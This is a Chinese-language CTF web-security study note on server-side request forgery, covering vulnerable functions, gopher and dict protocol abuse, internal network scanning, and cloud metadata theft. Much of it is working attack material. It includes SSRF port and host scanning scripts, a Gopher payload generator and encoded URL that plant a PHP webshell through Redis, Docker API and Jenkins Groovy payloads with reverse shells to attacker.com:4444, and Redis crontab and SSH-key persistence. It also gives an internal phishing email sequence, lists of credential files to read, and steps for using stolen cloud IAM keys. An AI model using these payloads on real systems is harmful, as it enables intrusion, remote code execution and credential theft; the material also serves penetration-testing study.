P10 SSRF 漏洞

2022-03-11 CTF-WEB 詹英

梳理服务端请求伪造(Server-Side Request Forgery,SSRF)漏洞的原理、网络协议利用、各类攻击技巧、内网探测方法及 WAF 绕过技巧。

一、SSRF 漏洞概述

1.1 定义与原理

服务端请求伪造(SSRF) 是一种由攻击者构造请求,使服务器对攻击者指定的地址发起请求的漏洞。

正常请求流程:
  用户 → 服务器(外网) → 返回资源给用户

SSRF 攻击流程:
  攻击者 → 服务器(外网)→ [服务器发起请求] → 内网服务 / 外部资源
                                    ↑
                        攻击者控制了这个请求的目标
核心本质:
  攻击者利用服务器作为"跳板",借助服务器的网络位置
  访问攻击者本无法直接访问的资源:
    - 服务器本地资源(127.0.0.1)
    - 内网其他主机与服务
    - 绕过防火墙访问受限端口
    - 访问云服务元数据接口

1.2 攻击面与危害

危害类型 说明 危害等级
内网服务探测 扫描内网存活主机、开放端口、服务版本 🟡 高
内网服务攻击 攻击 Redis / MySQL / Memcached 等 🔴 严重
敏感数据读取 读取服务器本地文件(file:// 🔴 严重
云元数据窃取 读取 AWS/GCP/Azure 的 IAM 凭证 🔴 严重
穿越防火墙 访问仅对内网开放的管理后台 🔴 严重
RCE 配合 Gopher 攻击内网服务,最终 RCE 🔴 严重
认证绕过 内网服务通常信任来自内网的请求 🟡 高
拒绝服务 利用服务器向大量目标发请求 🟡 高

1.3 SSRF 与其他漏洞的关系

SSRF 常与以下漏洞结合形成攻击链:

SSRF + Redis 未授权    → 写 Webshell / 计划任务 → RCE
SSRF + FastCGI         → 执行 PHP 代码 → RCE
SSRF + Memcached       → 投毒缓存 → XSS / 代码执行
SSRF + MySQL           → 数据库操作
SSRF + 内网 Web 服务   → 二次攻击(SQL注入/命令注入等)
SSRF + XXE             → 进一步读取文件
SSRF + 云元数据        → 横向移动 / 权限提升
SSRF + CSRF            → 代理 CSRF 攻击内网服务

二、危险函数与触发场景

2.1 PHP 危险函数

<?php
// ══ file_get_contents(最常见)══
$url  = $_GET['url'];
$data = file_get_contents($url);  // 危险!
echo $data;

// ══ curl_exec ══
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);  // 危险!
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);

// ══ fopen ══
$fp = fopen($_GET['url'], 'r');   // 危险!
$content = stream_get_contents($fp);

// ══ SoapClient(SSRF via SOAP)══
$client = new SoapClient(null, [
    'location' => $_GET['url'],   // 危险!
    'uri'      => 'http://example.com'
]);

// ══ fsockopen ══
$fp = fsockopen($_GET['host'], $_GET['port'], $errno, $errstr, 10);  // 危险!

// ══ stream_context_create + file_get_contents ══
$context = stream_context_create(['http' => ['method' => 'GET']]);
file_get_contents($_GET['url'], false, $context);   // 危险!

// ══ SimpleXMLElement ══
// 通过 XXE 触发 SSRF
$xml = new SimpleXMLElement($_GET['xml']);  // 危险!

// ══ 邮件发送相关(Mail SSRF)══
mail($to, $subject, $body, "From: " . $_GET['from']);  // Header 注入 → SSRF

2.2 Python 危险代码

import requests
import urllib.request
import httpx
import aiohttp

# ══ requests 库 ══
url = request.args.get('url')
resp = requests.get(url)          # 危险!
resp = requests.post(url, data={}) # 危险!

# ══ urllib ══
resp = urllib.request.urlopen(url)  # 危险!

# ══ httpx ══
client = httpx.Client()
resp = client.get(url)  # 危险!

# ══ aiohttp ══
async with aiohttp.ClientSession() as session:
    async with session.get(url) as resp:  # 危险!
        data = await resp.text()

# ══ 图片处理库(间接触发)══
from PIL import Image
img = Image.open(url)   # PIL 支持读取 URL!

from io import BytesIO
import requests
# 图片下载功能
Image.open(BytesIO(requests.get(url).content))  # 危险!

2.3 Java 危险代码

// ══ java.net.URL ══
URL url = new URL(request.getParameter("url"));
URLConnection conn = url.openConnection();      // 危险!
InputStream is = conn.getInputStream();

// ══ HttpURLConnection ══
URL url = new URL(userInput);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();  // 危险!

// ══ Apache HttpClient ══
CloseableHttpClient client = HttpClients.createDefault();
HttpGet get = new HttpGet(userInput);
client.execute(get);  // 危险!

// ══ OkHttp ══
OkHttpClient client = new OkHttpClient();
Request req = new Request.Builder().url(userInput).build();
client.newCall(req).execute();  // 危险!

// ══ ImageIO(图片读取)══
BufferedImage img = ImageIO.read(new URL(userInput));  // 危险!

// ══ XML 解析(XXE → SSRF)══
DocumentBuilder db = factory.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xmlInput)));  // 危险!

2.4 常见触发场景

业务功能触发点:

① 图片/文件下载
   ?url=http://example.com/image.jpg
   → 改为内网地址即触发 SSRF

② URL 预览/分享
   /preview?link=http://example.com
   → 服务器爬取目标页面内容

③ Webhook 回调
   设置回调地址 callback=http://attacker.com/
   → 触发时服务器请求该地址

④ 在线翻译 / 抓取
   /translate?url=http://example.com
   /fetch?src=http://example.com

⑤ 图片上传(通过 URL)
   /upload?image_url=http://example.com/img.jpg

⑥ PDF / 截图生成
   /pdf?url=http://example.com
   (wkhtmltopdf / headless Chrome 可能触发)

⑦ 网络探测 / 连通性检测
   /ping?host=example.com
   /check?url=http://example.com

⑧ 数据导入(从 URL 导入数据)
   /import?source=http://example.com/data.csv

⑨ SSO / OAuth 回调
   redirect_uri=http://attacker.com/callback

⑩ 代理 / 网关
   /proxy?target=http://example.com

三、网络协议知识

3.1 SSRF 支持的协议总览

SSRF 可利用的协议(取决于服务端实现和配置):

协议          用途                      支持程度
──────────────────────────────────────────────
file://       读取本地文件              ★★★★★
http://       HTTP 请求(内网探测)     ★★★★★
https://      HTTPS 请求               ★★★★★
ftp://        FTP 服务访问              ★★★☆☆
gopher://     发送原始 TCP 数据(攻击)  ★★★★★
dict://       字典协议(端口探测)       ★★★☆☆
sftp://       SSH FTP                   ★★☆☆☆
tftp://       UDP 文件传输              ★★☆☆☆
ldap://       目录服务协议              ★★★☆☆
jar://        Java JAR 文件            ★★★☆☆(Java)
netdoc://     Java 文档协议            ★★☆☆☆(Java)
phar://       PHP 归档协议             ★★★★☆(PHP)
php://        PHP 流                   ★★★★★(PHP)
data://       内联数据                  ★★★☆☆
expect://     执行命令                  ★★☆☆☆(PHP+扩展)

3.2 HTTP 协议特性

HTTP/1.0 与 HTTP/1.1 差异:
  HTTP/1.0:默认不保持连接(Connection: close)
  HTTP/1.1:默认持久连接(Connection: keep-alive)

SSRF 中的 HTTP 请求头注入:
  某些参数直接拼入 HTTP 请求头,可能导致:
  - CRLF 注入(\r\n)→ HTTP 头分割
  - 请求走私(HTTP Request Smuggling)

HTTP 重定向跟踪(Follow Redirect):
  curl 默认不跟随重定向,需设置 CURLOPT_FOLLOWLOCATION
  requests 库默认跟随重定向(allow_redirects=True)
  利用重定向绕过 URL 过滤!

示例:
  服务器只允许 http://allowed-domain.com
  攻击者在 allowed-domain.com 配置重定向到内网地址:
  Location: http://192.168.1.1/

  若服务器跟随重定向 → 绕过过滤访问内网!

3.3 Gopher 协议详解

Gopher 是一种古老的互联网协议(RFC 1436),
curl / Java / PHP 等支持 gopher:// 协议

Gopher URL 格式:
  gopher://host:port/_{data}
             ↑      ↑  ↑
             主机  端口  下划线后是要发送的原始数据

数据编码规则:
  ① 数据需要 URL 编码
  ② 每个换行符必须编码为 %0D%0A(\r\n)
  ③ 下划线后的第一个字符会被忽略(协议特性)
     因此通常以 _ 后接实际数据

示例:发送 "GET / HTTP/1.0\r\n\r\n" 到 80 端口
  gopher://127.0.0.1:80/_GET%20/%20HTTP%2F1.0%0D%0A%0D%0A

示例:发送 Redis 命令 "PING\r\n"
  gopher://127.0.0.1:6379/_PING%0D%0A

为什么 Gopher 如此强大?
  → 可以发送任意字节流!
  → 等同于原始 TCP 连接
  → 可以模拟 HTTP/Redis/MySQL/SMTP 等任何 TCP 协议

3.4 Dict 协议详解

Dict 协议(RFC 2229):
  原本用于字典服务,允许客户端查询词典数据库
  格式:dict://host:port/command:arg

常用命令:
  dict://127.0.0.1:6379/info        → 相当于向 Redis 发送 "info" 命令
  dict://127.0.0.1:6379/config:set:dir:/tmp  → Redis config set dir /tmp

Dict vs Gopher:
  dict://  每次只能发送一条命令(单行)
  gopher:// 可以发送多行数据流(更强大)

Dict 端口探测:
  dict://192.168.1.1:22/   → 若返回 SSH 版本信息,端口开放
  dict://192.168.1.1:80/   → 若返回 HTTP 信息,端口开放
  dict://192.168.1.1:9999/ → 若超时或报错,端口关闭

3.5 URL 结构解析

URL 完整格式:
  scheme://[user:pass@]host[:port]/path[?query][#fragment]

各部分说明:
  scheme   → 协议(http/https/ftp/gopher/file 等)
  user:pass → 用户名密码(某些协议支持)
  host     → 主机名或 IP 地址
  port     → 端口号(默认由协议决定)
  path     → 路径
  query    → 查询参数
  fragment → 锚点(客户端处理,不发送到服务器)

URL 解析歧义(绕过核心):
  不同库对同一 URL 的解析可能不同!

  http://attacker.com@target.com/
    某些解析器:主机=target.com,用户=attacker.com
    某些解析器:主机=attacker.com(RFC 3986 @前是认证信息)

  http://target.com#@attacker.com/
    某些:主机=target.com,片段=@attacker.com/
    某些:主机=attacker.com

  http://target.com?.attacker.com/
    某些:主机=target.com,查询=.attacker.com/

四、基础探测与信息收集

4.1 确认 SSRF 存在

Step 1:测试回显型 SSRF
  构造请求,让服务器访问自己控制的服务器
  观察是否收到请求

  方法一:Burp Collaborator
    ?url=https://your-collaborator.burpcollaborator.net/

  方法二:DNSlog(国内常用)
    ?url=http://test.dnslog.cn/
    ?url=http://xxxx.ceye.io/

  方法三:自建监听
    python3 -m http.server 8888
    ?url=http://your-vps:8888/test

Step 2:测试无回显 SSRF(时间差)
  ?url=http://192.168.1.1:80    → 若响应快:端口开放
  ?url=http://192.168.1.1:9999  → 若响应慢/超时:端口关闭

Step 3:测试内网 IP
  ?url=http://127.0.0.1/
  ?url=http://localhost/
  ?url=http://0.0.0.0/

4.2 内网段探测

#!/usr/bin/env python3
# SSRF 内网段扫描脚本

import requests
import threading
from queue import Queue

TARGET_URL = "http://vulnerable-site.com/fetch?url="
INTERNAL_RANGE = "192.168.1."
TIMEOUT = 3

def check_host(ip):
    try:
        url = f"{TARGET_URL}http://{ip}/"
        start = __import__('time').time()
        r = requests.get(url, timeout=TIMEOUT)
        elapsed = __import__('time').time() - start

        if r.status_code != 404 or elapsed < TIMEOUT - 0.5:
            print(f"[+] {ip} → ALIVE (status={r.status_code}, time={elapsed:.2f}s)")
    except requests.exceptions.Timeout:
        pass  # 超时说明端口关闭
    except Exception as e:
        pass

def scan_range(subnet, start=1, end=254, threads=50):
    q = Queue()
    for i in range(start, end + 1):
        q.put(f"{subnet}{i}")

    def worker():
        while not q.empty():
            ip = q.get()
            check_host(ip)
            q.task_done()

    thread_list = [threading.Thread(target=worker) for _ in range(threads)]
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()

scan_range(INTERNAL_RANGE)

4.3 端口扫描

#!/usr/bin/env python3
# SSRF 端口扫描脚本

import requests
import time

TARGET_URL = "http://vulnerable-site.com/fetch?url="
TARGET_HOST = "127.0.0.1"
TIMEOUT = 2

COMMON_PORTS = [
    21,    # FTP
    22,    # SSH
    23,    # Telnet
    25,    # SMTP
    53,    # DNS
    80,    # HTTP
    110,   # POP3
    135,   # RPC
    139,   # NetBIOS
    143,   # IMAP
    443,   # HTTPS
    445,   # SMB
    1433,  # MSSQL
    1521,  # Oracle
    2181,  # ZooKeeper
    2375,  # Docker API(未认证)
    2376,  # Docker API(TLS)
    3306,  # MySQL
    3389,  # RDP
    5432,  # PostgreSQL
    5672,  # RabbitMQ
    5900,  # VNC
    6379,  # Redis
    6380,  # Redis(备用)
    7001,  # WebLogic
    7002,  # WebLogic(SSL)
    8080,  # HTTP 替代
    8443,  # HTTPS 替代
    8888,  # Jupyter Notebook
    9090,  # Prometheus
    9200,  # Elasticsearch
    9300,  # Elasticsearch(内部)
    11211, # Memcached
    27017, # MongoDB
    27018, # MongoDB(备用)
]

def check_port(host, port):
    try:
        url = f"{TARGET_URL}http://{host}:{port}/"
        start = time.time()
        r = requests.get(url, timeout=TIMEOUT)
        elapsed = time.time() - start
        return True, r.status_code, elapsed
    except requests.exceptions.ConnectionError:
        return True, "REFUSED", 0  # 拒绝连接 = 端口存在但服务拒绝
    except requests.exceptions.Timeout:
        return False, "TIMEOUT", TIMEOUT
    except Exception as e:
        return False, str(e), 0

print(f"[*] Scanning {TARGET_HOST} common ports via SSRF...")
for port in COMMON_PORTS:
    is_open, status, elapsed = check_port(TARGET_HOST, port)
    if is_open and status != "TIMEOUT":
        print(f"[+] {TARGET_HOST}:{port} → OPEN (status={status}, {elapsed:.2f}s)")

4.4 服务指纹识别

通过 SSRF 获取服务指纹:

# HTTP 服务
?url=http://192.168.1.1:80/
  → 响应头中 Server: Apache/2.4.41, X-Powered-By: PHP/7.4 等

# Redis
?url=dict://192.168.1.1:6379/info
  → 返回 Redis 版本、内存、连接数等信息

# Elasticsearch
?url=http://192.168.1.1:9200/
  → 返回集群名称、版本、节点信息

# MongoDB
?url=http://192.168.1.1:27017/
  → 返回"It looks like you are trying to access MongoDB over HTTP..."

# Memcached
?url=dict://192.168.1.1:11211/stats
  → 返回统计信息

# Jenkins
?url=http://192.168.1.1:8080/
  → 返回 Jenkins 页面

# Kubernetes API
?url=https://192.168.1.1:6443/
  → 返回 Kubernetes API 信息

# Docker API(未授权)
?url=http://192.168.1.1:2375/version
  → 返回 Docker 版本信息

五、文件读取(file://)

5.1 基础文件读取

# Linux 敏感文件
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///etc/hosts
?url=file:///etc/hostname
?url=file:///etc/os-release
?url=file:///proc/self/environ      ← 环境变量(含密钥)
?url=file:///proc/self/cmdline      ← 进程命令行
?url=file:///proc/self/cwd          ← 当前目录(符号链接)
?url=file:///proc/net/tcp           ← 内网端口信息(十六进制)
?url=file:///proc/net/arp           ← ARP 表(内网 IP 发现)
?url=file:///root/.ssh/id_rsa       ← root 私钥
?url=file:///root/.bash_history     ← 命令历史
?url=file:///var/www/html/.env      ← 环境变量配置
?url=file:///var/www/html/config.php

# Windows 敏感文件
?url=file:///c:/windows/win.ini
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///c:/inetpub/wwwroot/web.config
?url=file:///c:/xampp/apache/conf/httpd.conf

# 应用配置文件
?url=file:///etc/nginx/nginx.conf
?url=file:///etc/apache2/sites-enabled/000-default.conf
?url=file:///etc/mysql/mysql.conf.d/mysqld.cnf
?url=file:///etc/redis/redis.conf

5.2 /proc 文件系统深度利用

# /proc/net/tcp 解析(获取内网连接信息)
# 内容格式:sl local_address rem_address st ...
# 地址是十六进制小端序

def parse_proc_net_tcp(content):
    """解析 /proc/net/tcp 内容,获取开放端口"""
    lines = content.strip().split('\n')[1:]  # 跳过标题行
    results = []
    for line in lines:
        parts = line.split()
        if len(parts) < 4:
            continue
        local_addr = parts[1]
        state = parts[3]

        # 解析地址(十六进制小端序)
        ip_hex, port_hex = local_addr.split(':')
        # IP:每两位翻转
        ip_bytes = bytes.fromhex(ip_hex)[::-1]
        ip = '.'.join(str(b) for b in ip_bytes)
        port = int(port_hex, 16)

        # state 0A = LISTEN(监听中)
        if state == '0A':
            results.append(f"{ip}:{port}")

    return results

# 使用示例
content = """  sl  local_address rem_address   st ...
   0: 0100007F:1F90 00000000:0000 0A ...
   1: 00000000:0050 00000000:0000 0A ..."""
# 0100007F:1F90 → 127.0.0.1:8080 (0x1F90=8080)
# 00000000:0050 → 0.0.0.0:80 (0x0050=80)

# 其他有价值的 /proc 路径
# /proc/self/fd/    → 列出进程打开的文件描述符
# /proc/self/maps   → 内存映射(可能含库路径)
# /proc/1/cmdline   → PID 1 的命令(init/systemd)
# /proc/self/status → 进程状态(UID/GID/内存)

六、内网服务攻击(http/https)

6.1 常见内网服务攻击

# ══ 管理后台(通常无鉴权或弱鉴权)══

# Tomcat 管理界面
?url=http://127.0.0.1:8080/manager/html
?url=http://127.0.0.1:8080/manager/text/list
→ 可部署 WAR 包 WebShell

# WebLogic 管理控制台
?url=http://127.0.0.1:7001/console
→ 可能有反序列化漏洞

# Jenkins
?url=http://127.0.0.1:8080/script
→ Groovy 脚本控制台,直接 RCE

# Kibana
?url=http://127.0.0.1:5601/
→ 可能访问 ES 数据

# Prometheus
?url=http://127.0.0.1:9090/
→ 监控指标、目标列表

# Docker API(未认证)
?url=http://127.0.0.1:2375/version
?url=http://127.0.0.1:2375/containers/json
?url=http://127.0.0.1:2375/containers/create
→ 创建特权容器 → 逃逸到宿主机 → RCE

# Kubernetes Dashboard
?url=http://127.0.0.1:10250/pods
?url=https://127.0.0.1:10250/run/default/pod-name/container
→ 执行容器内命令

# ══ 数据库(无鉴权)══

# Elasticsearch(默认无认证)
?url=http://127.0.0.1:9200/_cat/indices
?url=http://127.0.0.1:9200/index_name/_search?q=*
→ 直接读取所有数据

# CouchDB
?url=http://127.0.0.1:5984/_all_dbs
?url=http://127.0.0.1:5984/_users
→ 创建管理员账号

# MongoDB(旧版默认无认证)
?url=http://127.0.0.1:28017/admin

# ══ 云原生服务 ══
# Harbor Registry
?url=http://127.0.0.1:5000/v2/_catalog
# Consul
?url=http://127.0.0.1:8500/v1/kv/?recurse
# etcd
?url=http://127.0.0.1:2379/v2/keys/?recursive=true

6.2 Docker API 攻击(SSRF → RCE)

# Step 1:确认 Docker API 可访问
?url=http://127.0.0.1:2375/version

# Step 2:列出已有容器和镜像
?url=http://127.0.0.1:2375/containers/json
?url=http://127.0.0.1:2375/images/json

# Step 3:通过 SSRF 发送 POST 请求创建容器
# (需要 SSRF 支持 POST 或者使用 Gopher 协议)

# 创建特权容器(Gopher 方式)
# 在容器中挂载宿主机根目录 → 写 crontab → 反弹 Shell

# Docker API 创建容器的 JSON:
POST /containers/create HTTP/1.1
Host: 127.0.0.1:2375
Content-Type: application/json

{
  "Image": "ubuntu",
  "Cmd": ["/bin/sh", "-c", "crontab -l | { cat; echo \"* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\"; } | crontab -"],
  "Binds": ["/:/host"],
  "Privileged": true
}

# Kubernetes API 攻击
# POST /api/v1/namespaces/default/pods
# 创建特权 Pod,挂载宿主机目录

6.3 Jenkins Groovy 脚本 RCE

# 访问 Jenkins Script Console(通常无需认证的内网服务)
?url=http://127.0.0.1:8080/script

# 通过 SSRF POST 请求执行 Groovy 脚本
# Gopher payload:
# POST /script HTTP/1.1
# ...
# script=def+cmd="id".execute();println(cmd.text)

# Groovy 执行系统命令
def cmd = ["id"].execute()
println(cmd.text)

# 反弹 Shell
def cmd = ["bash","-c","bash -i >& /dev/tcp/attacker.com/4444 0>&1"].execute()

七、Gopher 协议攻击

7.1 Gopher 协议编码规则

#!/usr/bin/env python3
"""
Gopher Payload 生成器
"""
import urllib.parse

def gopher_encode(data: bytes, host: str, port: int) -> str:
    """将原始 TCP 数据编码为 Gopher URL"""
    # URL 编码数据(保留不编码的字符尽量少)
    encoded = urllib.parse.quote(data, safe='')
    return f"gopher://{host}:{port}/_{encoded}"

def make_redis_payload(commands: list, host='127.0.0.1', port=6379) -> str:
    """生成 Redis 命令的 Gopher Payload"""
    # Redis 协议格式(RESP)
    def resp_cmd(cmd_list):
        parts = [f"*{len(cmd_list)}\r\n"]
        for arg in cmd_list:
            arg_bytes = arg.encode() if isinstance(arg, str) else arg
            parts.append(f"${len(arg_bytes)}\r\n")
            parts.append(arg_bytes.decode('latin-1'))
            parts.append("\r\n")
        return "".join(parts)

    payload = ""
    for cmd in commands:
        payload += resp_cmd(cmd)

    return gopher_encode(payload.encode('latin-1'), host, port)

# 示例:Redis 写 WebShell
webshell_commands = [
    ["flushall"],
    ["set", "shell", "\n\n<?php system($_GET['cmd']); ?>\n\n"],
    ["config", "set", "dir", "/var/www/html"],
    ["config", "set", "dbfilename", "shell.php"],
    ["save"],
]

payload = make_redis_payload(webshell_commands)
print("Gopher Payload:")
print(payload)
print()

# 二次 URL 编码(某些框架需要)
double_encoded = urllib.parse.quote(payload, safe='')
print("Double-encoded Payload:")
print(double_encoded)

7.2 Gopher 攻击 Redis

Redis 常见攻击方式(via Gopher):

══ 方法一:写入 WebShell ══
命令序列:
  FLUSHALL
  SET webshell "<?php system($_GET['cmd']); ?>"
  CONFIG SET dir /var/www/html
  CONFIG SET dbfilename shell.php
  SAVE

生成的 Gopher URL:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%248%0D%0Awebshell%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

══ 方法二:写入 crontab(反弹 Shell)══
命令序列:
  FLUSHALL
  SET cron "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
  CONFIG SET dir /var/spool/cron/
  CONFIG SET dbfilename root
  SAVE

══ 方法三:写入 SSH 授权密钥 ══
命令序列:
  FLUSHALL
  SET sshkey "\n\nssh-rsa AAAA...你的公钥...\n\n"
  CONFIG SET dir /root/.ssh/
  CONFIG SET dbfilename authorized_keys
  SAVE

工具推荐:
  Gopherus - 自动生成各协议的 Gopher Payload
  https://github.com/tarunkant/Gopherus
  python gopherus.py --exploit redis

7.3 Gopherus 工具使用

# Gopherus 是专门生成 Gopher Payload 的工具
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
python gopherus.py --help

# ── Redis 攻击 ──
python gopherus.py --exploit redis
# 选择攻击方式:
#   1. RCE(通过 webshell)
#   2. RCE(通过 crontab)
#   3. RCE(通过 SSH key)
# 输入参数后生成 Gopher URL

# ── MySQL 攻击 ──
python gopherus.py --exploit mysql
# 输入:MySQL 用户名(通常是 root)
# 输入:要执行的查询语句

# ── FastCGI 攻击 ──
python gopherus.py --exploit fastcgi
# 输入:PHP 文件路径(如 /var/www/html/index.php)
# 输入:要执行的命令

# ── Memcached 攻击 ──
python gopherus.py --exploit memcache
# 输入:要投毒的缓存 key
# 输入:注入的 payload

# ── SMTP 邮件发送 ──
python gopherus.py --exploit smtp
# 可用于内网钓鱼

# 生成的 Payload 通常需要二次 URL 编码
# 用于某些 SSRF 场景(参数被解码一次后再发送)

7.4 Gopher 攻击 MySQL

#!/usr/bin/env python3
"""
生成 MySQL Gopher Payload(需要知道用户名密码或无密码)
"""
import struct
import hashlib
import urllib.parse

def mysql_gopher_payload(host='127.0.0.1', port=3306,
                          username='root', password='',
                          query='select "<?php system($_GET[cmd]);?>" into outfile "/var/www/html/shell.php"'):
    """
    构造 MySQL 登录 + 查询的 Gopher Payload
    适用于 MySQL 无密码或已知密码的场景
    """
    # MySQL 协议登录包(简化版,实际需要处理认证握手)
    # 建议使用 Gopherus 工具自动生成

    # 基础示意(实际的 MySQL 协议更复杂)
    print(f"[*] 建议使用 Gopherus 工具生成 MySQL Gopher Payload:")
    print(f"    python gopherus.py --exploit mysql")
    print(f"    Username: {username}")
    print(f"    Query: {query}")

mysql_gopher_payload()

# MySQL 利用场景:
# 1. SELECT ... INTO OUTFILE 写 WebShell(需要写文件权限)
# 2. SELECT LOAD_FILE() 读取文件(需要 FILE 权限)
# 3. UDF 注入(用户定义函数)执行系统命令

7.5 Gopher 攻击 FastCGI

FastCGI 协议用于 Web 服务器(Nginx)与 PHP-FPM 通信
通常监听在 127.0.0.1:9000

攻击原理:
  1. 伪造 FastCGI 请求,设置 PHP_VALUE 覆盖配置
  2. 设置 SCRIPT_FILENAME 为目标 PHP 文件
  3. 通过 PHP 配置注入执行任意代码

关键参数:
  SCRIPT_FILENAME → /var/www/html/index.php(任意已存在的 PHP 文件)
  PHP_VALUE       → auto_prepend_file = php://input
  PHP_ADMIN_VALUE → allow_url_include = On

Gopherus 生成:
  python gopherus.py --exploit fastcgi
  输入:/var/www/html/index.php(服务器上存在的 PHP 文件)
  输入:id(要执行的命令)

生成的 Gopher URL 示例(简化):
gopher://127.0.0.1:9000/_%01%01...

curl 测试(本地 FastCGI):
  ./fcgi-client.py 127.0.0.1 9000 /var/www/html/index.php "id"

7.6 Gopher 攻击 SMTP

SSRF + Gopher → SMTP → 发送内部钓鱼邮件

SMTP 协议流程:
  EHLO attacker.com
  MAIL FROM:<sender@internal.com>
  RCPT TO:<victim@company.com>
  DATA
  Subject: 重置密码
  
  请点击:http://attacker.com/phishing
  .
  QUIT

Gopher Payload(URL 编码前):
  EHLO attacker.com\r\n
  MAIL FROM:<admin@company.com>\r\n
  RCPT TO:<ceo@company.com>\r\n
  DATA\r\n
  Subject: 紧急安全通知\r\n
  From: admin@company.com\r\n
  \r\n
  请立即修改密码:http://attacker.com/reset\r\n
  .\r\n
  QUIT\r\n

python gopherus.py --exploit smtp

八、Dict 协议利用

8.1 Dict 基础利用

Dict 协议格式:dict://host:port/command[:arg]

# ══ Redis ══
# 单条命令(Dict 每次只能发一条)
?url=dict://127.0.0.1:6379/info
?url=dict://127.0.0.1:6379/config:get:dir
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
?url=dict://127.0.0.1:6379/set:shell:\r\n\r\n<?php system($_GET[cmd]);?>\r\n\r\n
?url=dict://127.0.0.1:6379/save

注意:Dict 每次只能发送一条命令
      需要多次请求才能完成攻击链
      不如 Gopher 高效(Gopher 一次发送所有命令)

# ══ Memcached ══
# 设置缓存值(投毒)
?url=dict://127.0.0.1:11211/set:key:0:3600:value

# ══ 端口探测 ══
# 通过响应内容判断端口状态
?url=dict://127.0.0.1:22/      → SSH 握手信息(确认端口开放)
?url=dict://127.0.0.1:3306/    → MySQL 握手(确认端口开放)
?url=dict://127.0.0.1:25/      → SMTP 220 欢迎信息

8.2 Dict vs Gopher 对比

Dict 协议缺点:
  ① 只能发送单行命令(无法发送多行数据)
  ② 不支持二进制数据
  ③ 不能模拟 HTTP 等复杂协议

Gopher 协议优势:
  ① 可发送任意字节流(包括换行符)
  ② 一次请求发送整个攻击序列
  ③ 支持所有基于 TCP 的协议
  ④ 可发送 POST 请求(HTTP)

实际攻击时:
  优先尝试 Gopher(功能最强)
  若 Gopher 被禁用,降级到 Dict(受限)
  若 Dict 也被禁用,则只能用 HTTP 协议

九、云环境元数据攻击

9.1 AWS 元数据服务

AWS IMDSv1(无需认证,经典版本):
  http://169.254.169.254/latest/meta-data/

常用路径:
  # 获取 IAM 角色凭证(最高价值)
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
  → 返回角色名称列表

  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
  → 返回 AccessKeyId / SecretAccessKey / Token(临时凭证)

  # 实例信息
  http://169.254.169.254/latest/meta-data/instance-id
  http://169.254.169.254/latest/meta-data/local-ipv4      → 内网 IP
  http://169.254.169.254/latest/meta-data/public-ipv4     → 公网 IP
  http://169.254.169.254/latest/meta-data/public-hostname
  http://169.254.169.254/latest/meta-data/placement/region

  # 用户数据(可能含密码/脚本)
  http://169.254.169.254/latest/user-data

  # 安全组信息
  http://169.254.169.254/latest/meta-data/security-groups

  # AMI 信息
  http://169.254.169.254/latest/meta-data/ami-id

IMDSv2(需要先获取 Token,更安全):
  # Step 1:PUT 请求获取 Token(SSRF 中需要 PUT 支持)
  PUT http://169.254.169.254/latest/api/token
  Headers: X-aws-ec2-metadata-token-ttl-seconds: 21600

  # Step 2:使用 Token 访问
  GET http://169.254.169.254/latest/meta-data/
  Headers: X-aws-ec2-metadata-token: <token>

利用窃取的 IAM 凭证:
  export AWS_ACCESS_KEY_ID=ASIA...
  export AWS_SECRET_ACCESS_KEY=xxx
  export AWS_SESSION_TOKEN=xxx
  aws sts get-caller-identity   # 验证凭证有效性
  aws s3 ls                      # 列举 S3 存储桶
  aws ec2 describe-instances     # 列举 EC2 实例

9.2 GCP 元数据服务

GCP 元数据服务地址:
  http://metadata.google.internal/computeMetadata/v1/
  http://169.254.169.254/computeMetadata/v1/

注意:GCP 需要请求头 Metadata-Flavor: Google
     但 SSRF 场景下通常无法添加自定义头
     某些 curl/requests 配置可能默认发送

常用路径(需要特定请求头):
  /computeMetadata/v1/project/project-id       → 项目 ID
  /computeMetadata/v1/instance/service-accounts/default/token → SA 访问令牌
  /computeMetadata/v1/instance/service-accounts/default/email → SA 邮箱
  /computeMetadata/v1/instance/attributes/     → 实例属性(可能含密钥)
  /computeMetadata/v1/project/attributes/ssh-keys → SSH 密钥

替代路径(无需特殊请求头,某些旧版本):
  http://metadata.google.internal/computeMetadata/v1beta1/

9.3 Azure / 阿里云元数据

# ── Azure 元数据服务 ──
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true    (需要此请求头)

# 获取访问令牌
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# ── 阿里云元数据服务 ──
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<role>
→ AccessKeyId / AccessKeySecret / SecurityToken

# ── 腾讯云元数据 ──
http://metadata.tencentyun.com/latest/meta-data/
http://169.254.0.23/meta-data/cam/security-credentials/

# ── Kubernetes 服务账户令牌 ──
# 容器内默认挂载的 K8s Service Account Token
file:///run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# 利用 Token 访问 K8s API Server
